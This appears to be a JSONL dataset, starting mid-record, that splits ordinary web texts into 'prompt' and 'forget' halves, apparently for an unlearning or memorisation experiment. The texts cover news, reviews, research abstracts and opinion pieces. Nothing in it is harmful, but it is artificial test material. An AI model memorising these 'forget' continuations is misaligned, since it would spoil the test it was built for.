Engine' suggests that a vastly complicated network of neurons could similarly exhibit thoughtful properties. \"We have found an enormously complicated material system located where the mind should be. The implications are shocking, and must be squarely faced. We believe that the present research offers strong experimental evidence that Benedictus Spinoza was correct, and Ren\u00e9 Descartes wrong: Mind and body are of one substance. \"In combination with the work of Charles Darwin showing how such a complicated organ could, in principle, have arisen as the result of processes not themselves intelligent, the bulk of scientific evidence now seems to indicate that intelligence is ontologically non-fundamental and has an extended origin in time. This strongly"}
{"prompt": "Can an employer ban your beard, or is the right to unfettered facial hair protected by law? Allan Stokell says he feels his human rights were violated when courier giant UPS told him he\u2019d have to shave his whiskers if he wanted to work for them. Allan Stokell says he applied for a job at UPS and was told he would have to shave the beard he's had for 50 years if he wanted to work there. ( Steve Russell / Toronto Star ) \u201cAlthough not as serious as some (violations), I don\u2019t believe large multi-national corporations should be able", "forget": "to get away with this,\u201d Stokell, who is 68, said. \u201cI\u2019ve had a beard since I was 18 and I identify as being a bearded person. \u201cIt\u2019s something I live by, I\u2019m very proud of my beard and I\u2019m not really interested in shaving it off.\u201d Stokell, a retired City of Toronto worker, applied to UPS for a seasonal job as a walker \u2014 an employee who helps UPS drivers pick up and deliver packages. UPS replied to him with a questionnaire asking, among other things, whether he accepts the company\u2019s \u201cstrict appearance guidelines\u201d requiring employees \u201cto be clean shaven and hide visible piercings and tattoos.\u201d Article Continued Below Stokell responded that he has a short, well-trimmed beard and short hair. In a brief email exchange, a UPS representative told Stokell that \u201cunless one is keeping their facial hair for religious or medical reasons, all employees need to be clean shaven at UPS as part of UPS\u2019s appearance policy.\u201d Employees seeking beard accommodation on religious or medical grounds must supply \u201cproper documentation,\u201d Stokell was told. UPS Canada told the Star that it \u201cis confident in the legality of its employment practices.\u201d \u201cUPS does have appearance and grooming guidelines in place,\u201d company spokesperson Nirali Raval said in an email. \u201cThrough the interview process the appearance and grooming policy is explained to all applicants.\u201d Raval said the specific appearance policies \u201care internal policies and are not shared externally.\u201d Stokell is not the first Ontarian to chafe under a company\u2019s clean-shaven mandate. In 2014, nickel smelting worker Christopher Browne filed a human rights complaint against his employer, Sudbury Integrated Nickel Operations, after he was ordered to shave his goatee. In January 2016, the Human Rights Tribunal of Ontario ruled against Browne, noting that his goatee was not affiliated with religious beliefs and could"}
{"prompt": "In a disturbing article endorsed by Planned Parenthood, one feminist writer claims \u201cno difference\u201d between choosing to kill a child in utero and the profoundly devastating experience of miscarriage suffered by millions of women across the globe. A real champion of women. In her piece for Romper titled, \u201cI\u2019m Miscarrying Right Now, & It\u2019s Only Strengthening My Beliefs About Abortion,\u201d writer Danielle Campoamor describes her experience dealing with \u201csevere abdominal cramps and blood in my underwear\u201d as she tries to equate miscarriages with abortions. \u201cThere is a common misconception that the mom who miscarries is a very different person than", "forget": "the woman who aborts, but I\u2019m here to say there is no difference,\u201d Campoamor writes. \u201cThose two results of pregnancy, unplanned or not, are treated very differently by society in general and by the anti-choice advocates legislating away women\u2019s right to choose,\u201d she continues. \u201cIn this country, women who experience miscarriage are shown mercy and grace, and women who choose abortion are attacked and condemned.\u201d \u201cMiscarriage and abortion are sisters,\u201d she claims. \u201cJust like my body knew what to do when an abnormal embryo implanted itself in my uterus, my mind knew what to do when a healthy embryo found its way to the soft lining of my uterine wall back when I was 23 years old, in an unhealthy relationship, living paycheck-to-paycheck, unwilling and unable to be a mother.\u201d According to Campoamor, who also writes for TIME, Cosmopolitan, USA Today, Buzzfeed, and Salon, it is hypocritical for her \u201cfriends who once labeled me a murderer\u201d to \u201cvoice their sympathy and pledge their prayers if I reached out to them.\u201d \u201cI will find comfort in the knowledge that every outcome of pregnancy \u2014 be it a miscarriage, an abortion, or a birth \u2014 is normal,\u201d she concludes. Planned Parenthood seems to agree with Campoamor\u2019s conclusion. Planned Parenthood Action on Twitter There is a common misconception that the mom who miscarries is a very different person than the woman who aborts, but I\u2019m here to say there is no difference. I am both of those women.\u201d [email protected] https://t.co/si6ejCrgrL Perhaps Compoamor would feel differently if organizations, like Planned Parenthood, and their employees weren\u2019t found to be profiting from fetal tissue sales. The Department of Justice recently requested documents from the Senate Judiciary Committee in relation to Planned Parenthood\u2019s alleged involvement in the sale of aborted babies\u2019 body parts. \u201cThe Department of"}
{"prompt": "Prior research suggests that liberals are more complex than conservatives. However, it may be that liberals are not more complex in general , but rather only more complex on certain topic domains (while conservatives are more complex in other domains). Four studies (comprised of over 2,500 participants) evaluated this idea. Study 1 involves the domain specificity of a self\u2010report questionnaire related to complexity (dogmatism). By making only small adjustments to a popularly used dogmatism scale, results show that liberals can be significantly more dogmatic if a liberal domain is made salient. Studies 2\u20134 involve the domain specificity of integrative complexity.", "forget": "A large number of open\u2010ended responses from college students (Studies 2 and 3) and candidates in the 2004 Presidential election (Study 4) across an array of topic domains reveals little or no main effect of political ideology on integrative complexity, but rather topic domain by ideology interactions. Liberals are higher in complexity on some topics, but conservatives are higher on others. Overall, this large dataset calls into question the typical interpretation that conservatives are less complex than liberals in a domain\u2010general way. It has practically achieved the state of an axiom in our field that liberals are more complex thinkers than conservatives. This is not without reason. Meta\u2010analyses\u2014covering a vast array of evidence related to dogmatism, uncertainty avoidance, openness to experience, need for closure, and integrative complexity\u2014suggest that liberals are indeed more complex than conservatives (see Jost, Glaser, Kruglanski, & Sulloway, 2003; Van Hiel, Onraet, & De Pauw, 2010; see also Joseph, Graham, & Haidt, 2009). Nonetheless, we believe that the judgment that conservatives are broadly simple\u2010minded may be premature. In the present article, we provide an alternative framework for understanding existing differences in complexity between conservatives and liberals and some initial evidence for that framework. Our approach focuses on considering more fully the topic domain that the complexity measurement is relevant to. The Domain Specificity of Complex Thinking Complex thinking is domain\u2010specific.1 Someone can think highly complexly about the Iraq War, and yet still think very simply about broccoli. A lot of evidence using many different operations of complex thinking underscores this point (Conway, Schaller, Tweed, & Hallett, 2001; Houck, Conway, & Gornick, 2014; Judd & Lusk, 1984; Liht, Conway, Savage, White, O'Neill, 2011; Pancer et al., 1995; Sidanius, 1984; Suedfeld, 2000; Tetlock, Peterson, & Lerner, 1996). For example, the complexity of thinking can be affected by the importance"}
{"prompt": "by \u201cMost Frequently Charged Offenses\u201d in Fairfax County Brought to You by our: Fairfax Criminal Defense Attorney Our Fairfax criminal defense attorney analyzed a total of: 1,738 criminal charges, pursuant to\u2026 217 distinct Virginia laws and local ordinances The data was collected from public arrest records provided by the Fairfax County Police. These records reflect roughly a 3 month period during the year 2013. If you live in Northern Virginia, this information may be of interest. This data analysis is provided to the public, courtesy of our Fairfax criminal defense attorney \u2013 Brenton D. Vincenzes. Feel free to share this", "forget": "study with friends and family. If you are a journalist or media outlet, you may submit inquiries here. 18 Categories: Arrest Frequency Chart from Fairfax Criminal Defense Attorney Our Fairfax criminal defense attorney sorted arrests into the 18 broad categories below. They are listed in order from least frequently charged category of offenses to the most frequently charged category of offenses. Percentages Chart Courtesy of our Fairfax Criminal Lawyer As you can see, the least commonly charged offenses fell into the category of operation of boats, barely registering with less than a half of one percent. At the other end of the spectrum, offenses related to driver\u2019s license problems, lack of insurance, and other related charges accounted for more than a quarter of all offenses charged in the given period. The next section contains our main infographic, followed by interesting notes and observations, some of which surprised even our Fairfax criminal defense attorney himself. Infographic: Fairfax County Arrest Frequency Comparison and Analysis, brought to you by: our Fairfax Criminal Lawyer In addition to the broad categories as depicted above, the infographic reveals the most frequently charged Code sections for each of the 18 main criminal offense categories. Don\u2019t forget: our Fairfax criminal lawyer lists his ten most interesting findings following the infographic. Our Fairfax Criminal Lawyer was Surprised by these 10 Findings: Surprising: Schedule III and IV drugs are rarely implicated in an arrest in Fairfax County. Only 2 arrests out of 1,738 involved a schedule III substance, and likewise, only 2 arrests involved a schedule IV substance. Well-known Schedule III substances include the drugs Ketamine, Buprenorphine, and opioid painkiller, Hydrocodone (Vicodin), in limited quantities. Schedule IV substances include anti-anxiety drugs Alprazolam (Xanax) and Clonazepam (Klonopin). Surprising: When it comes to distribution or possession with intent to distribute offenses, it"}
{"prompt": "by 1. Clancy Lives! Take heart, you fans of slam-bang super-spy adventure stories! Tom Clancy is not dead; he lives on in the pages of the Washington Post, channeled through the airport-thriller prose of Barton Gellman \u2014 one of the small coterie of media custodians doling out dollops from the huge archive of secret NSA documents obtained by whistleblower Edward Snowden. Drawing on that archive of what should be shocking, empire-undermining revelations, Gellman and his co-authors last week penned a story that is, in almost every respect, a glorification of state-ordered murder: a rousing tale of secret ops in exotic", "forget": "lands, awesome high-tech spy gear, flying missiles, deadly explosions, and dogged agents doing the grim but noble work of keeping us safe. No doubt Hollywood is already on the horn: it\u2019s boffo box office! The story describes how the NSA\u2019s determined leg-work helped Barack Obama shred the sovereignty of a US ally in order to kill a man \u2014 in the usual cowardly fashion, by long-distance, remote-control missile \u2014 without the slightest pretense of judicial process. It\u2019s really cool! Just watch our boys in action: \u201cIn the search for targets, the NSA has draped a surveillance blanket over dozens of square miles of northwest Pakistan. In Ghul\u2019s case, the agency deployed an arsenal of cyber-espionage tools, secretly seizing control of laptops, siphoning audio files and other messages, and tracking radio transmissions to determine where Ghul might \u201cbed down.\u201d \u2026 \u201cNSA threw the kitchen sink at the FATA,\u201d said a former U.S. intelligence official with experience in Afghanistan and Pakistan, referring to the Federally Administered Tribal Areas, the region in northwest Pakistan where al-Qaeda\u2019s leadership is based. \u2026 Surveillance operations that required placing a device or sensor near an al-Qaeda compound were handled by the CIA\u2019s Information Operations Center, which specializes in high-tech devices and \u201cclose-in\u201d surveillance work. \u201cBut if you wanted huge coverage of the FATA, NSA had 10 times the manpower, 20 times the budget and 100 times the brainpower,\u201d the former intelligence official said.\u201d I mean, get a load of these guys: 100 times the brainpower of ordinary mortals! Didn\u2019t I say they were super-spies? The target was Hassan Ghul, an al-Qaeda operative who was once in American custody but was released after giving his captors the tip that eventually led them to Osama bin Laden. (He was also tortured after giving the information \u2014 because, hey, why"}
{"prompt": "Early one morning last October police forces surrounded the residents of Gompad, a remote village in the state of Chhattisgarh in eastern India, and attacked. Sixteen people were killed, including an older couple and their 25-year-old daughter, who was stabbed in the head with a knife and had her breasts sliced off. Her 2-year-old son survived, but three of his fingers were chopped off. A neighbor who witnessed the massacre was shot in the leg as she tried to escape. What prompted the rampage? The cops suspected the villagers of sympathizing with Maoist insurgents, believing that some were informants. A", "forget": "criminal case has been filed by the survivors against the state. Business as usual in this part of the world. The Indian government is trying to exterminate Maoists known as Naxalites and since 2004 have killed 1,300 of them; trapped in the crossfire, 2,900 villagers have also died. The Naxalites have claimed their share of victims, too. A few months before the Gompad attack Vimal Meshram, a village head, was gunned down by Maoists in a market in the same district (Bastar). His crime: He was an outspoken supporter of a plant that Tata Steel, one of India's luminary companies, has been trying to build for the past five years . He is one of 1,650 or more people--villagers, police and police-backed vigilantes--who have been killed by Maoists, just in this district. In the bloodiest attack yet, 80 or more paramilitary troops were killed in early April as they tried to flush out Maoist rebels in the forests of Dantewada in Chhattisgarh. This is India's dirty war: a brutal struggle over valuable real estate that pits the Naxalites against some of the nation's most powerful commercial interests. What began 43 years ago as a small but violent peasant insurrection in Naxalbari, a West Bengal village, is now a full-fledged conflict led by the banned Communist Party of India (Maoist) across 20 of the country's 28 states (see map below), affecting 223 districts. The fight is over land, much of it in the interior, that has rich deposits of coal and bauxite. On one side of the struggle are the rebels--perhaps 10,000 of them armed and out in the field every day, and a militia of 100,000 who can be called up on short notice. Driven by a violent ideology, the Naxalites claim to be fighting for the land rights of"}
{"prompt": "Forty years ago, NASA landed a spacecraft on the surface of Mars, giving us our first close-up view of the so-called Red Planet. And, in what seems to be standard protocol for NASA missions, the 90-day operation stretched into a six-year mission, paving the way for later Mars rovers like Opportunity and Curiosity. The Viking 1 spacecraft touched down on the Martian surface on July 20, 1976, seven years after Apollo 11 astronauts stepped out onto the moon. The landing was originally scheduled for America\u2019s Independence Day, July 4. But once in orbit around Mars, the satellite carrying Viking revealed", "forget": "that the landing site was incredibly rocky, notes Bill Barry, NASA\u2019s chief historian. So mission controllers adjusted the date so the spacecraft could find a smoother place to land. The Viking mission was a huge success from an engineering perspective, an 11-month journey through space to a perfect landing on another planet. The heat shield and parachute design were updated and used in subsequent missions to Mars. And Viking\u2019s measurements of the Martian atmosphere and surface are being used and analyzed to this day. But scientists were really anticipating the results from the life sciences payload carried by the lander. This apparatus housed four different tests in a space the size of a soccer ball, according to Glenn Bugos, historian for the NASA Ames Research Center. A week after landing, soil samples were put through this barrage of tests to look for evidence of life: mainly carbon molecules and gases released by organisms metabolizing a variety of nutrients that had been added to the soil. Three tests came up negative. But the fourth one had a promising result\u2026 at least initially. In this test, water, nutrients and a radioactive form of carbon were added to the Martian soil. If any organisms ate the radioactive nutrients, they would emit a specific gas. The lander detected this gas spewing out of the soil during the first time it ran the test. But during the next two trials, there was nothing. This has puzzled scientists for decades. Some researchers have tried to recreate the tests here on Earth and their results have led some scientists to say the tests were \u201cinconclusive\u201d instead of \u201cnegative.\u201d At a panel discussion on the history of the Viking 1 mission, Bugos said that the lack of definitive results killed the desire to search for life on Mars."}
{"prompt": "This product hasn't received any reviews yet. Be the first to review this product! Read reviews all over internet... So I watched some Unboxing vids, and read online reviews, and freaked myself out, AFTER ordering this jacket. Some people online are really NOT fans of this website, or their products. All I can do is speak from MY experiences... The item shipped fast. The item arrived fast. The packaging was perfect. Well sealed, compact without damaging the jacket. Professional looking. The jacket was exactly how it was advertised. It fits perfect (which for me is the hardest part of shopping", "forget": "online). I really can't say anything bad about my experience with this company or product. In fact, I'll probably order myself the Star Lord jacket for Christmas. Yes, I recommend this product. Verified Purchase. I recommend this product. Look NO further tha right here I could not believe the quality of the product I received. It is expertly made, uses very supple and attractive leather and fits like a glove. READ the measurement chart and make sure you USE it to guaranteed the right fit. Had a little bit of a time with communications BUT the item arrived within 4 days. Yes, I recommend this product. Verified Purchase. I recommend this product. Tis a good buy a great medium to light jacket, good color not exactly like the movie which is good because i dont want to look like im cosplaying in everyday life. The best part about this jacket is not being attacked by a girl with a big metal stick and a droid that shocks you. Yes, I recommend this product. Verified Purchase. I recommend this product. Recommended It is the best and most amazing jacket of Finn. Recommended Yes, I recommend this product. Verified Purchase. I recommend this product. OH MY GOSH. I don't usually review products but I could not resist for this item. So this jacket just arrived (within a week!!!) in time for the holidays. I purchased it as a gift for my brother. Not only is the material soft, comfortable, and warm, but it seems very durable and high quality. I am usually skeptical about ordering online, but this gamble was worth every penny. If this jacket fit me, my brother would be getting something else for Christmas. I would have kept it myself! Overall, wonderful product and it even comes with a"}
{"prompt": "U.S. Marines from Delta Company, Infantry Training Battalion, School of Infantry-East navigate their way through the obstacle course aboard, Camp Geiger, N.C., Oct. 04, 2013. Delta Company is the first company at center with female students. (Photo: Warrant Officer Paul Mancuso, U.S. Marines) Story Highlights Thirteen women taking the latest infantry course Services must open combat roles to women who qualify One test: Carrying an 85-lb. pack for 10 kilometers or more CAMP GEIGER, N.C. \u2014 Mist clings to the ground and the sun won't make an appearance for another three hours. The 263 Marines of Delta Company, Infantry Training", "forget": "Battalion, shoulder their bulky packs and set off. The air is still cool, but 85-pound packs are heavy. Soon the Marines are sweating through their camouflage uniforms and noncommissioned officers are moving between the two files of Marines, shouting encouragement and encouraging stragglers to keep up. The Marine Corps has been training infantrymen here since 1953. This year is different. Among Delta Company's 263 Marines are 13 women who have volunteered to participate in a closely watched experiment into the feasibility of integrating females into the infantry. The infantry is among a handful of military jobs that remain male-only preserves. The women, who are shouldering the same packs and wearing the same combat uniforms as the men, are barely distinguishable from the men as they trudge in the darkness. \"We treat everyone the same,\" said Staff Sgt. Billy Shinault, a Marine instructor who chatted while working a bolt of chewing tobacco after the hike. \"We would be doing them a disservice to lower the standards.\" Shortly before he left office earlier this year, Defense Secretary Leon Panetta ordered the military to lift the ban on women serving in ground combat specialties, such as the infantry and special operations. He left it up to the services to figure out how to put the order into effect. The services have until January 2016 to do so. Exceptions would require approval of the defense secretary. Women have been serving in plenty of jobs that have exposed them to combat over the past decade in Iraq and Afghanistan. But ground combat jobs have remained off-limits. These jobs require physical strength, feats of endurance and spending a long time in primitive field conditions. The infantry is the leading edge of the ground combat specialties. Its mission is as basic as it is elemental. Infantrymen carry"}
{"prompt": "\u201cYou can\u2019t get bigger arms unless you go heavy on the barbell or on some dumbbells.\u201d Yeah, that\u2019s what more than one guy told me at the gym. Hearing this advice made sense to me. I had seen the workouts before in magazines and they always threw in 4 exercises for biceps and 4 exercises for triceps. Add in 10 to 12 reps per set per exercise and I was being promised arms bigger than the Hulk. It made sense at the time. Lift some iron and watch the muscle grow. That\u2019s the common advice and it works, but only", "forget": "if you do it right. However, lifting weights is not the only way to gain muscle in your arms. If you want to get awesome results you should include bodyweight exercises. Anytime someone tells me that you can\u2019t get muscular arms by using only your bodyweight I point to a gymnast. Simply look at a gymnast and you will quickly see that weights are not the only way to make significant gains in muscle. You don\u2019t have to lift like a bodybuilder. Sure you can grab a barbell, put some weight and go at it. I am all for that. You can lift heavy weight and see results but having thicker arms is best when you do certain exercises that trigger maximum growth. That\u2019s where bodyweight movements can come in. Here are a list of exercises for biceps and triceps without having to use weights. Bodyweight Exercises For Biceps Chin Ups: This exercise is one of the forgotten and unsung bodyweight exercises. Some see this as either being too easy while others look at it as too difficult to do. It is often considered a back exercise but in reality it is much more than that. Chin ups are a compound movement that will give your back and your biceps a killer workout. This exercise is similar to a barbell curl except that it follows a natural movement and can be tough as you lift your own weight. Parallel Grip Chin Ups: Another great option for building your biceps. The palms face each other on parallel bars allowing for a movement that is easier on the wrists and shoulders than a pull ups. The positioning of the hands and arms is very much like a Hammer Curl; however this exercise also works on the lats. If you don\u2019t have access"}
{"prompt": "The speculative Chinese commodity bubble has begun to reach the mainstream as Citi's warning to \"hold on to your hats\" today at the surge in trading volumes across Rebar, Iron Ore, Coke, and Copper literally exploded with the former now the most actively trade commodity in the world. The frenzy has become so insane that the head of the largest metals exchange in the world exclaimed at a conference in Singapore today that \"I don't think most people who trade it know what it is.\" We suspect he is 100% correct and judging by the following chart, we know exactly", "forget": "how it will end. As Bloomberg reports, the head of the world\u2019s largest metals exchange said while volumes in China\u2019s commodity futures markets have become phenomenal, it\u2019s possible some traders don\u2019t even know what it is they are buying or selling. \u201cWhy should steel rebar be one of the world\u2019s most actively-traded futures contracts?\u201d Garry Jones, chief executive officer of the London Metal Exchange, said at a conference in Singapore on Wednesday. \u201cI don\u2019t think most people who trade it know what it is.\u201d Trading of commodity futures in China from steel reinforcement bars -- a benchmark product used in construction -- to iron ore, coking coal and cotton has ballooned this month on an unprecedented surge in retail investor interest. The jump in volumes has stunned global markets, according to Morgan Stanley, while eliciting concern from Goldman Sachs Group Inc. Exchanges in Asia\u2019s top economy including in Shanghai have announced a series of measures this month to cool the frenzy, and said more steps may follow. \u201cIf you look at the client base of most Chinese exchanges, it\u2019s heavily retail-focused,\u201d Jones said on a panel discussion addressing commodities and risk management in China. The exchanges there \u201chave very high retail participation. They have a very high velocity of trading,\u201d he said. Now where have we seen this pattern of massive speculative volume rushing in from retail investors chasing a trend? The speculative activities will be vulnerable to a sharp reversal, once the upward price momentum wanes, according to BMI Research, a unit of Fitch Group, drawing parallels with a rally, followed by a slump, in Chinese equities last year. And that did not end well for price action before in 2015... or 2009... And just as expected above...once the volume reaches a crescendo it crashes and The Party's Over"}
{"prompt": "PUL, which stands for polyurethane laminate, is a waterproof fabric most often used for cloth diapers and wet bags. I started my PUL journey about 2 years ago, when I made some side-mirror covers for my father-in-law for Christmas. They were gray terry-cloth inside, PUL outside, and he uses them for every storm. They were a wild project, and they didn\u2019t leave me in love with PUL so I stashed it away, until last summer. I was part of the Leominster Marketplace (farmer\u2019s market) last summer and one of the shoppers asked if I could make her a smaller version", "forget": "of a dinosaur bag I had with me, nothing that she wanted to use it as a snack bag. The PUL I had is food grade, so I said \u201cYeah, absolutely! I\u2019ll make it and bring it with me next week!\u201d Obviously, she never came back for it. But I got my first taste of lining a bag with it! I don\u2019t love working with PUL because it\u2019s kind of slippery and I never know if I should pin it in place or just hold it so it can slip around more. But since making the dino bag, quite a few people have expressed interest in makeup bags that are not cotton lined. Makeup explodes or seeps out, gets all over the cotton, leaks through. But if I was going to make a waterproof makeup bag, I needed to stand by it\u2019s waterproof-ness. So I made a tester and did some tests. Test 1: Pour 4 cuts of water into the bag. Delayed leaking but still massive leaking. The fabric is waterproof but the seams are not at all. Test 2: Pour a cup of shampoo into the bag. Minor seeping from seams after 2 hours. I had it set on a paper towel, propped up so the shampoo pool would sit on a side-seam interception, and you could see the small seep spot. I moved the bag after an hour and ended up with a second small spot next to the first. Conclusion: The bag is not waterproof. But it is leak-resistant. A little water isn\u2019t going to leak out and get everywhere. A cup of shampoo isn\u2019t going to ooze out and sticky-up the rest of your luggage. It will stay in the bag! That\u2019s what I was after. After the rigorous testing, I made a few bags"}
{"prompt": "James Brightman Editor, North America Tuesday 9th June 2015 Share this article Share If you haven't heard of ARK: Survival Evolved, that's about to change. The game has been available on Steam Early Access for just under a week, and it's off to a red-hot start. Studio Wildcard has shared exclusive data with GamesIndustry.biz, revealing that over 400,000 units have already been sold at $25 apiece, yielding over $10 million in revenues. The game has also seen peak concurrent users of 64,411 so far. While big budget projects in the traditional AAA space can have a hard time recouping costs,", "forget": "smaller indie teams can often fare better with smaller investments. At this rate, it seems likely that ARK will yield a nice return for Studio Wildcard. \"It's too early to talk about profit since we still have a game to make and there are plenty of costs associated with all of that, but the revenue from sales has already paid for the $1.5 million cost of development over the past seven months,\" Jesse Rapczak, co-founder, co-creative director, Studio Wildcard explained to GamesIndustry.biz. \"My personal view is that Early Access should be for games that could be considered nearly complete or where the end is in sight\" The project has a long way to go still, as the official release is planned for June 2016 on Xbox One, PS4 and Steam, but Rapczak noted that the core aspects of the game are all in place. \"80 percent of the main game is done, with hundreds of hours of gameplay there already. It's just down to balancing and feedback from the players. If all goes well we may even add more content once the community gets their hands on the mod tools. More on that later,\" he teased. Rapczak was a technical art director on Microsoft's HoloLens for a couple of years, and you can bet that VR/AR has rubbed off on his studio and ARK. \"We already have an early implementation of VR support in the game today with Oculus Rift. Considering my background with HoloLens I am very excited about this and it is one of the areas we will be improving on throughout Early Access. Our plan is to ship VR on PC and PS4 with Project Morpheus,\" he noted. Early Access has been a mixed bag for both consumers and developers, with varying level of success for indies"}
{"prompt": "Questrade Offers Commission Free ETFs and Weekend Links Seems that the competition is rising among the low cost stock brokerages in Canada! The hot ticket these days seem to be free ETF trades which started with Scotia iTrade followed by Virtual Brokers. Both brokerages have their own selection of ETFs available for free trades. It was only a matter of time before low cost provider Questrade got into the game \u2013 which they have, but have stepped it up a notch. Questrade is offering no commissions on purchases of any ETFs, however, there will be their regular $4.95 commission on", "forget": "selling. For those of you unfamiliar with Questrade, here is my Questrade review. How Does it Work? This is straight from the Questrade website: You\u2019ll pay the ETF commission at the time of purchase, but we\u2019ll rebate you in two business days There are no minimum number of shares you have to buy. Hold them for as long as you\u2019d like Buying ETFs for free is only available if you\u2019re trading on one of the Questrade IQ platforms ECN fees or any other incidentals charged by the markets are your responsibility Your standard commissions will apply when you sell an ETF Who benefits? I can see this new incentive working best with index investors who buy, but rarely sell. This is a great way to keep portfolio fee drag as low as possible. Perhaps the biggest advantage of this offer is that investors can choose any ETF without restriction. Here is an example of a low cost index ETF portfolio using Vanguard and iShares ETFs. I\u2019m not sure if this deal is enough to convince an investor to switch from their current brokerage, but it\u2019s a great deal for current account holders like me! Weekend Links Sony points collector? Sign up for the free Mastercard for 10k points @ Canadian Money Forum Housing Affordability Metrics @ Michael James on Money 3 Ways Larger Families Can Save on Accommodations When Vacationing @ Sustainable Personal Finance The proper use of RRSPs: the one formula approach @ Retire Happy Blog 3 Golden Rules to Rid Yourself of Debt @ My Own Advisor Is Your Portfolio Truly Diverse? @ Canadian Finance Blog Group RESP Plans are Loaded with Fees @ Canadian Capitalist How Mobile Technology Can Improve Your Health @ Boomer and Echo Can You Make Money from Survey Sites? @ Financial Highway Buying"}
{"prompt": "In February, 2015, neurologist Oliver Sacks \u2013 arguably the world's best-known brain doctor and the greatest physician writer in English, wrote an article in The New York Times called My Own Life, announcing that \"my luck has run out.\" Dr. Sacks, 81 years old, still wildly productive, clear-headed, feeling robust, and swimming a mile a day, had just found out he had multiple metastases, from an ocular cancer that had been treated nine years before. One-third of his liver was filled with cancer. No sooner had he shared his ill fortune than did he begin to write of his gratitude", "forget": "for the years he had been granted since his original diagnosis, and his overall feeling of gratitude for having lived as \"a sentient being, a thinking animal, on this beautiful planet \u2026 \" Story continues below advertisement Hardly a word more was said about the cancer. For now, face to face with dying, he was not quite done with living. He would restrict himself to essentials, which meant saying goodbye to dear friends and family, and continuing to write as he always had, hoping to die \"in harness.\" A group of short, extraordinarily affecting essays followed, his farewell to the world, leaving many readers in tears. Dr. Sacks's specialty had been documenting how an individual, trapped in an extreme mental state that altered perception and even identity, retained his humanity. How, one wondered, might Dr. Sacks bear up when facing his own ultimate transformation? There were surprises, and some revelations, too, in these lyrical meditations, which have been gathered together in a very short book collection \u2013 called, fittingly, Gratitude, which appeared on Nov. 24, not long after the release of his memoir, On The Move. The essays in Gratitude had a spare beauty about them \u2013 unusual for a writer who so loved the rich tangent. They were unique among his other, more lush, scientific writings. They had the feel of wisdom literature. Wisdom sifts; a wise man, mindful that he has little time to say what he must, gets to the point. And the tone was unusual. They were both stoical and poignant. These are two qualities that rarely go together; we tend to think of stoicism as a kind of armour worn against our emotions, and poignancy as the breaking through, into our stream of consciousness, of emotions, even our most tender and delicate feelings. The poignancy"}
{"prompt": "All observations in astronomy are based on light (electromagnetic radiation) emitted from stars and galaxies and, according to the general theory of relativity, the light will be affected by gravity. At the same time all interpretations in astronomy are based on the correctness of the theory of relatively, but it has been difficult to accurately test Einstein's theory of gravity on scales larger than the solar system. Now astrophysicists at the Dark Cosmology Centre at the Niels Bohr Institute have managed to measure how the light is affected by gravity on its way out of galaxy clusters. The observations confirm", "forget": "the theoretical predictions. The results have been published in the scientific journal, Nature. Observations of large distances in the universe are based on measurements of the redshift, which is a phenomenon where the wavelength of the light from distant galaxies is shifted more and more towards the red with greater distance. The redshift indicates how much the universe has expanded from when the light left until it was measured on Earth. Furthermore, according to Einstein's general theory of relativity, the light and thus the redshift is also affected by the gravity from large masses like galaxy clusters and causes a gravitational redshift of the light. But the gravitational influence on light has never before been measured on a cosmological scale. \"It is really wonderful. We live in an era with the technological ability to actually measure such phenomena as cosmological gravitational redshift,\" says astrophysicist Radek Wojtak, Dark Cosmology Centre under the Niels Bohr Institute at the University of Copenhagen. Galaxy clusters in the searchlight Radek Wojtak, together with colleagues Steen Hansen and Jens Hjorth, has analysed measurements of light from galaxies in approximately 8,000 galaxy clusters. Galaxy clusters are accumulations of thousands of galaxies, held together by their own gravity. This gravity affects the light being sent out into space from the galaxies. The researchers have studied the galaxies lying in the middle of the galaxy clusters and those lying on the periphery and measured the wavelengths of the light. \"We could measure small differences in the redshift of the galaxies and see that the light from galaxies in the middle of a cluster had to 'crawl' out through the gravitational field, while it was easier for the light from the outlying galaxies to emerge,\" explains Radek Wojtak. Then he measured the entire galaxy cluster's total mass and with that"}
{"prompt": "The activists pushing Senate Democrats to resist Donald Trump\u2019s nominee for the Supreme Court seat Republicans robbed from Barack Obama recognize that Neil Gorsuch has no business replacing the late Antonin Scalia. Will Senate Democrats come to the same conclusion? The case against confirming Gorsuch is the same as the case against confirming Robert Bork three decades ago: the man holds fast to a fringe ideology that will disenfranchise and discriminate against anyone who is not a member of the economic elite. Gorsuch simply cannot be trusted to apply the law fairly and objectively. In her 2009 Scalia biography American", "forget": "Original, Joan Biskupic discussed the Reagan administration\u2019s prime motive for nominating Scalia to the High Court: Foremost in the minds of [Reagan\u2019s advisers] was this opportunity to shift the Court\u2019s direction. [Scalia\u2019s] appointment could help project components of the Reagan revolution far into the future. Reagan\u2019s [1981] appointment of [Sandra Day] O\u2019Connor had fulfilled a campaign promise to place a woman on the Court. This new nomination could be more of a reflection of Reagan\u2019s quest for a remade judiciary\u2026 Patrick Buchanan, the former Nixon speechwriter and TV commentator whom [White House Chief of Staff] Don Regan had brought in to be communications director at the White House, had written a memo touting Scalia as a major contributor to the legal legacy Reagan hoped to leave\u2026Buchanan had written in his Scalia memo, \u201cThe stakes here are immense\u2013whether or not this President can leave behind a Supreme Court that will carry forward the ideas of the Reagan Revolution\u2013into the 21st century.\u201d Just as Scalia was the full embodiment of the Reagan vision on the Supreme Court, so too would Gorsuch fully embody the Trump vision, ensuring unequal justice under law for anyone not in Trump\u2019s rarefied financial air. Gorsuch would move the legal right closer to achieving the longstanding goal of removing all traces of what right-wingers regard as progressive legal activism from the Court. Of course, what right-wingers regard as progressive legal activism, the rest of us call equality. There is nothing immoral or dishonest about Democratic Senators factoring politics into their decision to resist Gorsuch (if they choose to do so, that is). The raw reality is that on the High Court, Gorsuch would, as a committed right-wing ideologue, screw over members of the Democratic Party\u2019s constituency. Why would any Democratic Senator collaborate in a scheme to wound their"}
